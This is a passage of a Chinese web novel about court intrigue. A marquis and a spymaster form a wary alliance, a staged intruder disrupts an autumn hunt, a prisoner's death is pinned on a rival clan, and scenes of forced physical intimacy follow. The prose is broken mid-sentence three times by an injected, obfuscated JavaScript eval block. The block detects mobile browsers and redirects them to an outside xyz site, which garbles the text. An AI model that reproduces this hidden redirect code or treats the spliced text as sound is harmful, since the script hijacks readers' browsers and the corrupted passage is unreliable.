“放心!”晁允平立刻道,“舍妹最是厌恶这些朝堂算计,前几日听说赐婚的事,把自己关在房里哭了好几场,若能解了这困局,她定然愿意。” 南无歇张了张嘴,刚想继续说,就见晁允平站起身深深一揖:“多谢永辞哥指点,我这就回去跟舍妹说!” “别急,”南无歇叫住他,“还没完。” “嗯?” “秋猎让你妹妹也去,”南无歇看着他,“到时候‘不小心’从马上摔下来,伤了腿,婚事自然要搁置,等风头过了,陛下若再重新提起,便才是做实了他故意为难姑娘家的罪名了。” 晁允平怔了怔,随即明白过来,脸上露出敬佩的神色:“永辞哥考虑得周全,执衡记下了。” 送走晁允平,南无歇又拿起了棋谱,他看着棋谱上的“困”局,就这么看了片刻,微微勾起了唇角。 是夜,谛听台的密信送到了温不迟手中,信纸薄如蝉翼,上面只寥寥数语: 晁允平巳时入南侯府,未时离去,随行礼盒未带回。 午后,晁府送一画至南府,京中已有流言,称晁三小姐不愿嫁。 温不迟捏着信纸的手微微用力,纸角蜷起褶皱。 “备车。”他忽然道。 戎珂从阴影里走出:“主人要去南侯府?” “嗯。”温不迟将信纸凑到烛火上,火苗舔舐着纸边,很快燃成灰烬,“去会会咱们这位南侯爷。” 南侯府的门房像是得了吩咐,见了温不迟的马车,没多问便引着往里走。 穿过两道月亮门,就见南无歇坐在葡萄架下的石桌旁,手里正把玩着枚玉佩,玉色温润,雕的是只振翅的海东青。 “温大人的消息就是快,”南无歇抬眼,示意侍女添副茶具,“刚得的新茶,尝尝?” 温不迟在他对面坐下,目光落在那枚玉佩上:“晁家的鹰形佩,倒是少见。” “晁统领留下的。”南无歇将玉佩丢回锦盒,“说是送我当个念想。” “念想?”温不迟端起茶盏,“是信物吧?陛下的目光盯上了晁家,同时又被世家盯着,晁统领如今怕是夜夜难眠。” 南无歇低笑一声:“温大人既知道,何必来问我。” “不是来问侯爷,”温不迟抬眸,桃花眼里没了平日的笑意,“下官是来告知侯爷,在侯爷接风宴上对下官动手的人,是嵇家公子。” 温不迟这记直球让南无歇动作微顿,随后抬眼看向那人,心下瞬息间暗自辨别真伪。 嵇家确有动机,亦有此实力,这不假,而后他眼底锐光一闪,随即化为一声轻嗤:“顺手连我一并埋了,胃口不小,他倒是真敢想。” “有什么不敢的?”温不迟颔首而笑,“侯爷手握兵权,下官掌谛听台,在他们眼里,你我皆是眼中钉,不咬死怎么放心?” 他身体微微前倾,声音压得低了些,“嵇家恐惧你在军中的威望,又忌惮着我的谛听台对朝中官员的监察,此刻他可在旁边疯狂磨爪子,就等你我两败俱伤,好分食这权柄。” 石桌上,茶盏蒸腾起的热气模糊了二人之间的空气,南无歇盯着对方,指节在膝上轻点,脑海中浮现出嵇舟与贺醒那日同他谈合作的眼神。 那眼神当时就令他生厌,此刻结合温不迟的消息,那回忆中的笑意更透出一股藏着杀机的不善。 但这事没有必要跟温不迟说,只见他嗤笑一声,说:“温大人今日倒是直接。” 温不迟的目光在他脸上转了圈,带着点探究,“下官只知道,双拳难敌四手,侯爷被嵇家盯着,下官也被嵇家盯着,与其各自为战,不如……” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526714|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说下去,只端起茶盏浅啜一口,眸光在氤氲热气里沉浮。 南无歇眯着眼睛看他,“温大人是想同我合作?” “合作总得有来有往。”温不迟放下茶盏,“嵇家在朝中安插的人手,我知道是谁,你边军里那些眼线,我有他们的名字。” “换什么?”南无歇挑眉,唇角噙着点若有似无的笑。 温不迟迎上他的目光,语气平淡却带着分量,“换侯爷……在下官动他们几个时,劳烦搭把手。” 秋风穿过葡萄架,叶子沙沙作响,像在替两人的沉默伴奏。 说完,温不迟直起身,理了理微乱的衣襟,“下官给侯爷半月时间,方便侯爷仔细权衡——” 话未说完,便被南无歇打断。 “不用半月,你说的事我应了。”他的声音带着点慵懒,随后也站起身,一步步走近温不迟,“只是,我想要的,可不止这些。” 温不迟不曾闪躲,“侯爷还想要什么?” “我想看看,”南无歇的目光慢悠悠地扫过他的眉眼,再从嘴角落到耳廓,随后,他勾起抹笑,“温大人这‘分桃之好’,到底是真是假。” 温不迟的脸色微微沉了下去,后退半步拉开距离:“侯爷怎的对此事如此好奇?” “连嵇家都利用温大人的这特殊身份做局,本侯可差一点栽在这上面,怎能不好奇?” 南无歇低笑一声,步步紧逼,直到将他困在葡萄架的梁柱与自己之间,“方才谈交易时温大人可是开诚布公和盘托出,怎么一提这事,就不坦诚了?” “真又如何?”温不迟冷声,“假又如何?” 南无歇微微俯身,声音里的戏谑更浓了:“若是真的,不妨让本侯验验,若是假的……” 他顿了顿,抬起手来,轻轻抚过温不迟的脸颊,“那便当是你我二人合作的添头,如何?” 温热的呼吸扑在脸上,带着点茶香和马革的味道,混在一起生出种莫名的压迫感。 温不迟猛的攥紧拳头,强压下心头的躁怒,抬眼迎上他的目光,眼底翻涌着惊涛骇浪,嘴上却笑得愈发温和:“侯爷若是闲得慌,不如去教小厮驯马,何必拿下官寻开心。” “我从不说玩笑话。”南无歇的指腹停在他的喉结处,轻轻揉着,感受着底下微弱的震动,“温大人若应了,莫说嵇舟,便是他爹嵇业的人头,我也能给你取来。” 这话带着赤裸裸的引诱,又藏着不容拒绝的强势。 温不迟看着他近在咫尺的脸,那双眼睛像头盯着猎物的狼,带着势在必得的侵略性。 他忽然笑了,抬手按住南无歇不安分的手腕,不自觉地用了些力。 “侯爷的好意,下官心领了。”他的声音平静得像一潭深水,“只是下官这身子,怕是入不了侯爷的眼。” 南无歇挑眉,任由他按着自己的手,“入不入眼,得试过才知道。” 温不迟的手猛地收紧,暗中运上了内力。可南无歇却像毫无感觉,反而笑得更加肆意,就势向前倾了半分,将两人之间的距离拉得更近。 “温大人这反应,是恼…还是羞?嗯?” 这南无歇不知从何时变得如此恬不知耻,果真与从前判若两人! “侯爷不装了?”温不迟掌下力道未松,眼底掠过嘲讽似的审视,“御前乖觉不争,人前沉静不言,朝野上下,怕是都信了侯爷那副驯顺无害的皮囊了。” “装久了也是会累的。”南无歇根本不怕,勾起嘴角,目光拂过温不迟的唇与眼眸,“此刻就你我二人……” 他的声音更沉了几分,带着蛊惑:“温不迟,你我或许是同——” “侯爷若是没别的事,”温不迟骤然打断,猛地松开了手,仿佛甩开什么烫手之物,转身便走,“下官告辞。” 青衫的影子晃得有些乱,连脚步都比来时快了些,南无歇那句没说完的话温不迟根本无心细想—— “你我或许是同一类人”? 哪一类人? 是为达目的不择手段的那类? 还是被各方势力忌惮、联手围击的那类? ……又或者,是别的什么? 而另一边,南无歇静静注视着温不迟几乎称得上仓促的背影,直到那身影消失在转角,才缓缓低头,看向自己手腕上那一圈清晰的红痕。 他轻轻收拢手指,握成拳,眼底微微眯起,掠过一丝暗光。 这红印…… 看来他温不迟,果真是个会武的。 7. 纷营 十一月初一,天还没亮,围场四周就已扎满了营帐,明黄的龙帐居中,左右分列着官员与世家的帐篷,旌旗在晨风中飘扬,远远望去,像片翻涌的彩色云团。 辰时刚过,李昇的仪仗便到了,百官簇拥着龙驾往观礼台去,衣袍摩擦的窸窣声、马蹄声、禁军甲胄的碰撞声混在一起,规整中带着混乱。 南无歇来得晚些,依旧骑着他那匹纯黑战马,他没去凑观礼台的热闹,只在猎场边缘勒住马,看着禁军们牵着猎犬来回巡视,依然挂着点漫不经心的笑。 “永辞哥!”崔始颉骑着匹白马从后面追上来。 南无歇点头应着,目光扫过不远处的晁允平,他穿着禁军统领的甲胄,正指挥着手下布置围猎的范围,眉头紧锁,额角渗着细汗。 也难怪那人这么紧张,这场秋猎的差事,办好了是本分,办砸了便没有小错。 “晁统领倒是勤勉。”南无歇忽然开口,声音不大,却恰好让旁边的崔始颉听见了。 崔始颉顺着他的目光看去,撇了撇嘴:“我爹说,他是想在陛下面前表现呢,不过说真的,这围场防卫做得是真仔细,连猎犬都分了好几拨巡逻。” 南无歇低笑一声,没接话。 日头升到半空时,李昇在观礼台上拉响金弓,宣告秋猎开始。 号角声骤然响起,震得林子里的飞鸟扑棱棱飞起,骑士们纵马冲入围场,箭羽破空的锐响此起彼伏,很快就有亲兵捧着猎获的獐子、野兔送到观礼台前,引得台上台下一片喝彩。 南无歇没下场,只与崔几悼在观礼台侧的凉棚下坐着,看崔始颉跟几个世家子弟比箭。 少年人箭术不错,射出的几箭都指哪打哪,正得意地扬着下巴,忽然瞥见不远处的嵇舟,便扬声喊道:“阿舟!要不要来比一场?” 嵇舟笑着摆手:“崔公子箭术精湛,我可不敢献丑。” 围场的秋阳正烈,晒得人脊背发烫。 崔始颉拉满了弓,箭矢瞄准远处的麋鹿,少年人脸上满是较劲的认真,方才他的永辞哥夸了句晁允平的箭法,他便非要露一手不可。 “看我的!”他扬声喊了句,指节一松,羽箭破空而去,直直射向远处树下的那头小鹿。 箭离弦时,带着少年人不知轻重的力道,破空声尖锐得刺耳。 观礼台侧的众人都注视着飞去的箭矢,可下一秒,所有人的目光都被斜刺里冲出来的黑影拽走了。 “那是什么?!” 那是个穿着粗布短打的汉子,不知从哪片林子钻出来的,疯了似的往观礼台方向冲,恰好撞在箭矢的轨迹上。 “是个人!”不知是谁喊了一声,“那是个人!” 猎场为何会突然出现一个来路不明的人?! 崔始颉此时已经惊得脸色惨白,这一秒对他来说仿佛变得很长,但箭已离弦,他只能眼睁睁看着箭矢射向那汉子的胸膛。 崔几悼的惊呼卡在喉咙里,晁允平拔刀的手僵在半空,连观礼台上的李昇都微微前倾了身体,惊呼声里,羽箭已到那人眼前。 就在这千钧一发之际,只见一支羽箭突然从凉棚方向射出! 那箭来得极快,带着凌厉凶悍的狠劲。 “铛”! 两支箭在半空相撞,崔始颉的箭杆应声而断,箭头失了力道,斜斜坠落在地。 而那支从侧翼杀过来的羽箭,也已没入远处的树干,箭尾还在嗡嗡震颤。 所有人都愣住了。 那汉子被吓得腿一软,瘫坐在地上,场内众人也瞬间安静下来,所有人惊魂未定的目光都落在崔始颉身上,又悄悄转向晁允平。 晁允平的脸色青一阵白一阵,防卫是他的职责,如今竟让个不明身份的汉子闯到观礼台附近,还被崔家公子一箭逼停,这无疑是他失察。 “晁统领!”崔几悼先开了口,语气带着点责备。 老尚书喘着粗气,顿了一顿,看了李昇一眼,随后继续说道:“这就是你说的严密防卫?若是伤了陛下,或是伤了诸位大人,你担待得起吗?” 晁允平攥紧了刀柄,强压着怒火躬身道:“是下官失职,这就去查!” “查?”崔几悼冷哼一声,“查什么?有什么好查的?!这汉子偏偏在崔某儿子射箭时闯出来,倒像是故意让他担个‘擅伤平民’的罪名!” 这话戳得又准又狠,明着是指责防卫失职,暗地里却把矛头指向晁允平,暗示是他故意安排人闯场,想栽赃崔家。 晁允平气得脸色涨红:“崔尚书这话是什么意思?下官绝无此意!” “有没有意,不是你说了算的。”崔几悼寸步不让,“这汉子来历不明,为何偏偏闯到这里?又为何偏偏在尧吉搭箭时冲出来?晁统领最好给个说法!” 两人你一言我一语,吵得面红耳赤,观礼台上的李昇神色自若,温不迟站在他身后,垂着眼,看不清他的神情。 南无歇端着茶盏,慢条斯理地吹着浮沫,也看不出眼底的情绪。 这汉子来得太巧,刚好撞在崔始颉搭箭的时候,能让崔、晁两家起冲突,既搅乱了秋猎,又让负责防卫的晁允平下不来台,还能让崔家与晁家生嫌隙。 晁允平急着撇清,崔始颉慌得说不出话,崔尚书维护儿子声声讨伐,倒让真正想看戏的人,藏得更稳了。 南无歇抬眼看向人群中的嵇舟,对方正低声安抚着身边的官员,脸上挂着恰到好处的担忧,他忽然低笑一声,将茶盏往桌上一搁。 “刚刚,”李昇的声音从观礼台上传来,“是谁射的那第二箭?” “回陛下,”南无歇朗声开口,“崔公子年轻,手劲没准头,这围场里都是自己人,伤了谁都不好。” 李昇盯着他看了片刻,忽然笑了:“南爱卿好箭法。” 这话听不出是褒是贬,却让紧绷的气氛更加压抑。 崔几悼忙拉着崔始颉上前谢恩:“多谢侯爷出手!是尧吉鲁莽,险些酿成大错!” 崔始颉也反应过来,脸涨得通红,对着南无歇深深一揖:“多谢永辞哥…” 这边暂且揭过,那边晁允平却躲不过去了,李昇的目光落在他身上,脸色沉了沉:“晁统领,这是怎么回事?围场的防卫,就是这样的?” 晁允平“噗通”一声跪下,额头抵着地面:“属下失职!请陛下降罪!” 温不迟在这时上前一步,躬身道:“陛下息怒,当务之急是查清此人来历,看是误闯还是另有图谋,晁统领防卫失职,确有过错,但念在他平日勤勉,不如先令其戴罪查案?” 李昇沉吟片刻,点了点头:“就依你说的办,三日之内,朕要知道这人的底细。” “是!”晁允平叩首谢恩,起身时,后背已被冷汗浸透。 他抬眼看向南无歇,对方正垂眸擦拭着弓身,仿佛刚才那一箭只是随手为之,可晁允平却觉得,那支箭不止断了崔始颉的箭,更像是在他脸上扇了一巴掌,明晃晃地告诉所有人,他连个围场都守不住,还得靠别人来收拾烂摊子。 温不迟的目光也落在南无歇身上。 南无歇像是没察觉到众人的目光,擦完弓,随手递给身后的卫清禾,转身往凉棚走,经过那汉子身边时,他脚步顿了顿。 那汉子还瘫在地上,脸色惨白,胳膊上刚才被箭风划了道浅浅的口子,此刻正哆哆嗦嗦地看着他。 南无歇的目光在他手上扫过,指节粗大,虎口有老茧,绝不是普通山民该有的手。 他没说话,径直走了过去。 秋阳依旧炽烈,可这晁允平的罪是逃不掉了,崔始颉虽没犯错,却也惊出一身冷汗。 只有南无歇,仿佛什么都没发生过,回到凉棚下,端起早已凉透的茶,慢悠悠地喝着。 他抬眼看向观礼台,温不迟恰好也望过来,四目相对,没什么言语,随后只见温不迟噙着温润的笑,微微一颔首。 南无歇也唇角微勾,回了个意味不明的笑。 午时,秋猎的闹剧刚过,龙帐里便只剩下李昇与温不迟君臣二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526715|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李昇靠在软榻上,手里捻着佛珠,目光落在帐外晃动的旌旗上,声音听不出喜怒:“南无歇那箭,倒是及时。” 温不迟垂立一旁,青衫在帐内昏暗的光线下显得愈发素净:“侯爷箭术卓绝。” “卓绝?”李昇低哼一声,将佛珠往案上一搁,“他倒是难得出手。” 温不迟没接话,他太了解李昇了,晁家与崔家近来都与南无歇走得近,李昇早就想敲打敲打,今日这场“意外”定是李昇暗中安排的人,既给了晁允平一个“防卫失职”的罪名,又能借崔始颉的箭,把崔家也拖下水。 只是没料到,南无歇会突然出手,断了崔家的祸根,独独留下晁家来担罪。 “晁允平这性子,太急。”李昇忽然道,“镇不住事,也成不了气候,方才看他的眼神,倒像是怪起南无歇了,如此倒也不错。” 温不迟心里了然,李昇是想借这事,削了晁家在禁军的势力,同时推翻南、晁两家武将之间的关系。 他躬身道:“陛下圣明。” 他退出去时,帐外的秋风正紧,吹得他广袖翻飞。 其实李昇布局的这出戏还谈不上高明,但却足够有效,晁家受罚,崔家受惊,南无歇虽解了围,却也难免让晁允平对他多几分责怪。 是夜,南侯府的书房里,南无歇正对着盏孤灯出神。 他猜的全面,李昇想一箭三雕,晁允平急于自证清白,崔几悼的恼怒半真半假,温不迟则隔岸观火,偌大的棋盘上纷纷杂杂,各有各的想法。 今日晁允平最后看他的那个眼神他也记得清楚,那孩子是个不聪明的,倘若真是被这事挑拨了,怕是日后会让人当枪使,最后怎么死的都不知道。南无歇虽然懒得管他人的命运,但晁老将军与他父亲毕竟是有情义在的,他也做不到完全对晁家的事无动于衷。 更何况,于他自己而言,晁允平的误会和责怪也只有坏处,所以,这事,他是一定得管的,还得管的让晁允平明白。 *** 秋猎的余波还在朝堂漾着,晁允平被李昇训斥后,便带着亲兵疯查那汉子的底细,却连半分有用的线索都没摸到。 这夜,御书房烛火通明,李昇正翻着晁允平送来的查案文书,温不迟站在案侧,垂首而立。 “查了两天,就查出这些?”李昇把文书往案上一丢,声音里带着点轻松和不屑,“一个来历不明的汉子,闯了围场,到现在连他是哪来的都没弄明白?” 温不迟声音放得平缓,装作不知道实情,顺着李昇说:“那汉子嘴紧,打也打了,劝也劝了,只说是山里的猎户,采蘑菇迷了路。晁统领急着撇清,审得急了些,反倒没问出什么。” “急?”李昇轻笑一声,“他是该急,防卫成这样,若真是有心人混进来,他晁家有多少颗脑袋够砍?” 温不迟陪着演的乏味,没接这话,反而话锋一转,“陛下,嵇家那边近来动作不少,前些日子谛听台查到江南盐道有大量亏空,恰好是在嵇尚书漕运安插了两个亲信之后的事,如此下去,只怕是——” “朕知道,”李昇打断他,随后突然想起了点什么,眼底闪过冷光,若有所思的说:“要说起来,这嵇家……倒是有理由,又有路子安排个人进猎场,嗯?” 温不迟垂下眸,微微勾起唇角。 他要的就是这句话! 他始终装作不知实情,又抓准时机提到嵇家贪腐一事,就是为了让李昇动这个脑筋! 殿外的风卷着落叶刮过窗棂发出闷响,各有各的盘算,直到李昇哈欠连天,温不迟才躬身告退。 走出皇门,戎珂候在暗处:“主人,晁统领还在审那汉子,听着动静,像是动了刑。” “让他审。”温不迟沉着声音,“审不出东西才好。” 他顿了顿,从袖中摸出张纸条,递给戎珂:“把这个送到南侯府,亲手交给南无歇。” 戎珂接过纸条,借着灯笼光看了眼,上面只有八个字:陛下授意,指向嵇家。 8. 试探 而此时的南侯府,晁允平正背着手在南无歇的书房里打转,他刚从牢里回来,甲胄上还沾着血腥味,额角的青筋突突直跳。 “审了两天!鞭子都打烂了几根,那汉子就是不松口!再这么耗下去,三日期限一到,我这统领之位就别想要了!” 南无歇歪在窗边,风淡云轻地看着他:“急什么?急就能审出东西?” “我能不急吗?”晁允平停下脚步,声音里带着点挫败,“我爹在边关来信,让我在京里谨言慎行,结果我……”他猛地一拳砸在案上,震得砚台里的墨汁都溅了出来,“那汉子肯定有问题!他手上的茧子,绝不是猎户该有的!定是有人故意安排的!” “哦?”南无歇抬眼,“谁安排的?” “我不知道!”晁允平烦躁地抓了抓头发,“但我知道肯定是冲着我来的!冲着晁家来的!” 南无歇看着他泛红的眼睛,忽然觉得有些遗憾,晁逍尘一生戎马,战功无数,但这晁允平,什么都想争,什么都想抢,偏生遇着事就沉不住气。 “晁老将军当年在北境,被人围在雪地里五天四夜,也没像你这样。”南无歇随手拿起颗棋罐里的棋子,漫不经心上下端详着淡淡道。 晁允平的脸瞬间涨红,却没反驳。他知道,自己确实不如父亲。 “侯爷,”他放低了姿态,声音里带着点恳求,“您帮帮我,只要能查出幕后主使,我——” “查不出。”南无歇打断他,随手将棋子丢回棋罐,发出清脆的碰撞声,“或者说,查不出来就是最好的结果。” 晁允平愣住了:“侯爷什么意思?” “意思就是,别查了。”南无歇站起身,走到他面前,“剩下这一天该睡睡,该吃吃,明日之后,自有结果。” “可是……” “没有可是。”南无歇拍了拍他的肩膀,力道不轻不重,“照我说的做,别忘了,你是晁逍尘的儿子。” 晁允平看着他笃定的眼神,心里的焦躁莫名地平息了些。 他张了张嘴,最终还是把话咽了回去,躬身道:“是,我明白了。” 南无歇看着低下头的晁允平,心里默默叹了口气,好在对方现在还算信任他南无歇,也还算比较听话。 送走晁允平,书房里安静下来,南无歇重新坐回窗边,看着天边的残月,屈指在案上轻轻敲着。 晁允平太急,急着证明自己,急着摆脱困境,却没看清这局棋的要害,李昇和崔家要的都不是真相,而温不迟…… 他正想着,卫清禾轻手轻脚地走进来,手里捧着张纸条:“侯爷,谛听台的人送来的。” 南无歇接过纸条,就着月光看了眼,八个字,力透纸背。 他忽然笑了,将纸条凑到烛火上,很快燃成灰烬,随风散在窗台上。 “温不迟倒是……”他没说下去,眼底却闪过丝兴味。 卫清禾低声问:“侯爷,要插手吗?” “不插手?”南无歇站起身,走到书架前,抽出京城地图,缓缓展开,“不插手能行吗?再者说,不插手岂不辜负温大人一番美意了?” 他的指尖落在嵇府的位置,轻轻一点:“去办件事,找个机灵的,往那汉子的身上放样东西。” “是。”卫清禾应声要走,又被南无歇叫住。 “慢着。”南无歇想了想,“别做得太刻意,等晁允平那边审得差不多了,再‘不经意’地被发现。” “明白。” 三更的梆子敲过,嵇府后巷的阴影里,两个黑影悄无声息地交接。 卫清禾将个小布包递给对方,压低声音:“去刑部大牢,按侯爷的意思办,天亮前办妥。” 那人接过布包,身影一闪便没入了墙后。 清晨,刑部里突然炸开个消息,那被关押的汉子,竟在牢里“畏罪自尽”了,死状极惨,怀里还揣着半块刻着嵇家标记的玉佩,旁边压着张揉皱的字条,上面歪歪扭扭写着“供词”:受嵇家指使,搅乱秋猎,挑拨崔晁。 晁允平赶到时,刑部已围了不少官员,现场乱七八糟。 嵇舟正皱着眉跟父亲嵇业说着什么,老尚书气得脸色铁青,却什么都没说,像是让人抓住了什么把柄,被威胁后咽下了这场“无妄之灾”。 而这一切,南无歇都看在眼里,他坐在远处的楼顶上,手里把玩着片枯叶,看着晁允平被禁军簇拥着,一脸错愕地验看“证据”和“供词”,看着李昇派来的内侍匆匆记录,看着温不迟站在人群外一言不发。 “侯爷,这嵇家…这就认了??”卫清禾在他身后低声道。 “是啊…竟然就这么认了…”南无歇将枯叶丢进风里,眯着眼睛喃喃道。 栽赃一事明镜也似,但既然嵇家并没有任何反驳,那猎场这事儿便属于是“查明真相”了。 于是,午时李昇的旨意便传了下来:晁允平防卫失察,罚俸三月,暂留原职戴罪立功;嵇家因“管束不严”,罚没半年俸禄,嵇尚书闭门思过一月。 晁允平接旨时,还有些发懵,他不明白那汉子为何突然自尽,更不明白怎么就扯上了嵇家,他叩首谢恩,心里却一团浑。 散场时,他远远看见南无歇正翻身上马,披风在风中飞扬,像只振翅的鹰。 他想上前求解,又觉得唐突,刚挪了两步,就见南无歇的马已扬尘而去,连个回眸都没有。 角落的马车里,温不迟看着窗外掠过的街景,对身旁的戎珂道:“南府的人动作倒是快。” 戎珂点头:“卫清禾昨夜去过嵇府后巷。” 温不迟浅笑一声,“够利落的,既给了陛下台阶,又保了晁允平,还顺便踩了嵇家一脚,他这就算承了我这份诚意了。” 戎珂沉默片刻:“主人,咱们接下来……” “等,”温不迟靠在车壁上,闭上眼,“等他南无歇来谢我。” 回到南侯府,南无歇刚换下披风,便见侍女捧着个锦盒进来:“侯爷,晁府送了些西域的奶酪,说是感谢您出手。” 南无歇瞥了眼锦盒,淡淡道:“收着吧。” 晁执衡啊晁执衡,虽然难成大器,但确实不算愚钝至极。 秋猎的余波渐渐平息,这日傍晚,南无歇在城西的酒肆门口,抱着胳膊仰着脑袋,百无聊赖的瞧着天。 温不迟刚从铁器铺出来准备回府,见了倚在酒肆门柱上的南无歇,他脚步顿了顿,随后轻飘飘的掠了那人一眼。 “侯爷好生清闲。” 南无歇闻声,垂头看他,随后往那人身后瞧了一眼,咧嘴一笑,“温大人这是去打兵器了?” 他直起身,往前迎了两步,带着散漫的气息,“借一步说话?” 温不迟没动,也没吭声,只清傲地瞥了南无歇一眼。 南无歇朝酒肆里扬了扬下巴,“我想请大人喝杯薄酒,” 他挤了挤眼睛,露出促狭神情,“道谢。” 二楼雅间,窗外是渐沉的暮色,南无歇倒了杯烈酒,推到温不迟面前:“嵇家做了这冤大头,温大人满意了?” “侯爷谬赞了,”温不迟没碰那杯酒,“倒是晁统领的麻烦解决得干净,侯爷可还满意?” “满意,当然满意,”南无歇仰头饮尽杯中酒,喉结滚动,“温大人递的那纸条,倒是及时。” 温不迟抬眼看他,却没在继续引导,二人对视片刻,南无歇身子前倾,手肘撑在桌上,目光像带着钩子,“为何要告诉我?就为了表达合作的诚意?” “侯爷心知肚明,此事我夹带的私欲不过是打压一下嵇家,但我为侯爷送上了为晁允平脱罪的思路这也是事实,”温不迟笑了笑,桃花眼里盛着暮色,看不真切情绪,“侯爷同我联手,于你我都有好处,这点道理,想必侯爷也明白,不需要我说。” “只是这样?”南无歇追问,语气里添了几分玩味,“温大人既是龙榻上的人,在本侯面前暴露了李昇是猎场一事的幕后主使,就不怕他寒心?” 这话戳得直白,带着点刻意的羞辱。 温不迟握着杯盏的手紧了紧,“侯爷这话,未免太过刻薄了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526716|186332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“刻薄吗?”南无歇低笑一声,忽然伸手去拨弄对方的额发,“我只是好奇,温大人对李昇,到底有没有半分真心?” 温不迟轻轻偏头避开他的手,“侯爷当真是不要脑袋的主儿,什么话都敢问。” 南无歇却不放过他,浅笑着起身,踱步到他身后俯下身,温热的气息拂过温不迟的后颈,“温大人是不想说?还是不敢说?” 说着,他的手指顺着温不迟的后脖颈往下滑,带着肆无忌惮的轻薄和侵略性。 温不迟的呼吸骤然变粗,猛地站起转身抬手拍开他的手,身形一闪退到窗边,广袖下的手已攥成了拳。 “侯爷,”他的声音冷得像冰,“莫要太过分。” “这就叫过分,”南无歇挑眉,缓步逼近,“我还想更过分点,怎么办?” 话音刚落,他突然欺身而上! 右手直取温不迟的肩,这招来得快且猛,带着战场练出的果决。 温不迟瞳孔骤缩,几乎是本能地侧身避开,同时左手成掌,快如闪电般拍向南无歇的肋下,掌风凌厉,带着强劲的内力。 南无歇却不闪不避,硬生生受了他这掌! 他微微晃了晃,同时右手趁势扣住了温不迟的手腕,指腹下的脉搏跳得极快,带着习武之人特有的力道。 “温大人果然会武。”南无歇的声音里满是笑意,手上却默默加重着力气,逼着对方继续出手。 温不迟吃痛,随后果真猛地回肘撞向南无歇的胸口,同时右脚横扫,招式狠辣,招招致命。 平日里那副温和面具碎得彻底,眼底只剩搏命的锐光。 南无歇却游刃有余,他不硬碰硬,只借着身形的灵活辗转腾挪,时而伸手撩拨,时而假意退让,看似险象环生,实则步步掌控着节奏。 他能感觉到温不迟的内力不弱,招式也刁钻,只是实战经验远不如他,越是急,破绽越多。 二人打得有来有回,几个回合下来,南无歇差不多有了数,随后径直一拳,刚烈的劲道直指温不迟的左肩! “砰!”的一声,温不迟的后背撞上了墙壁。 南无歇顺势欺近,一手按在他身侧的墙壁上,另一手掼着他的胳膊转过去,小臂顺势架在那人的后脖子上将人抵在墙上,身体往前一压,将他牢牢困在身前与墙面这逼仄一隅。 温热的胸膛贴着后背,带着烈酒与檀香的味道,强势而霸道。 温不迟挣扎了几下,奈何对方的手臂像铁箍般纹丝不动,无法挣脱,而后脖颈处的力道不轻不重,刚好让他动弹不得,却又不至于受伤。 “侯爷,你我二人,不至于吧?”温不迟的声音里带着压抑的怒意,还有一丝不易察觉的慌乱。 南无歇的下巴抵在他的发顶,声音低沉,语气松弛,“温大人的武功比我想的好,只是……还不够。” 温不迟没说话,胸腔剧烈起伏着,不知道是还没从刚才的缠斗中平复,还是让这人气的。 南无歇忽然低下头凑到他耳边,续道:“现在可以告诉我了吗?你对李昇,到底有没有半分真心?” 气息拂过,又热又痒,温不迟的身体猛地一僵,随即偏过头,“有又如何?没有又如何?” “若有,”南无歇的手臂收紧了些,“那你就是个叛徒,若没有……那你这‘龙阳客’的戏,演得可真够像的。” 温不迟闭了闭眼,再睁开时,眼底的怒意已被一片冰冷取代,他缓缓开口,声音平静:“是,我是陛下的娈宠,那又怎么样?” 南无歇听到了答案,忽然觉得方才的试探索然无味,他看着那人的侧脸,随后松开了压着对方后颈的手臂,身体但却没退开,依旧将人困在臂弯与墙壁之间。 “是吗,那还真是恭喜……”他微微一顿,“…陛下了。” 说着,他的指尖顺着温不迟的颈线缓缓下滑,从喉结滑到衣襟的盘扣,轻轻一挑,那枚精致的玉扣便松了。 “挣脱我,” 他沉着语气,带着乖戾与诡谲。 “用全力。” 9. 猫鼠 温不迟身体紧绷,胸口剧烈起伏着,却没动,他知道自己的武力根本敌不过南无歇,他强持着带点倨傲的镇定,轻声开口: “侯爷为何如此乐此不疲,拿下官寻开心?” 南无歇俯身凑近,呼吸交融,“因为温大人,是京城里最有趣的人。” “有趣?”温不迟嘲讽一笑,“在侯爷眼里,把人困在怀里轻薄,也算是有趣?” “当然算有趣,不过也看怀里的人是谁。” 说完,南无歇的手指勾着温不迟松开的衣襟,轻轻往外拉了拉,目光落在他颈间细腻的皮肤上。 “尤其是看温大人这副明明动怒却偏要装镇定的样子,比看那些世家子弟互相攻讦有意思多了。” 他忽然放轻了语气,带着点蛊惑:“若实在挣脱不了,温大人可以试试求我。” 这要求太过于侮辱,求?谁求??求谁?? 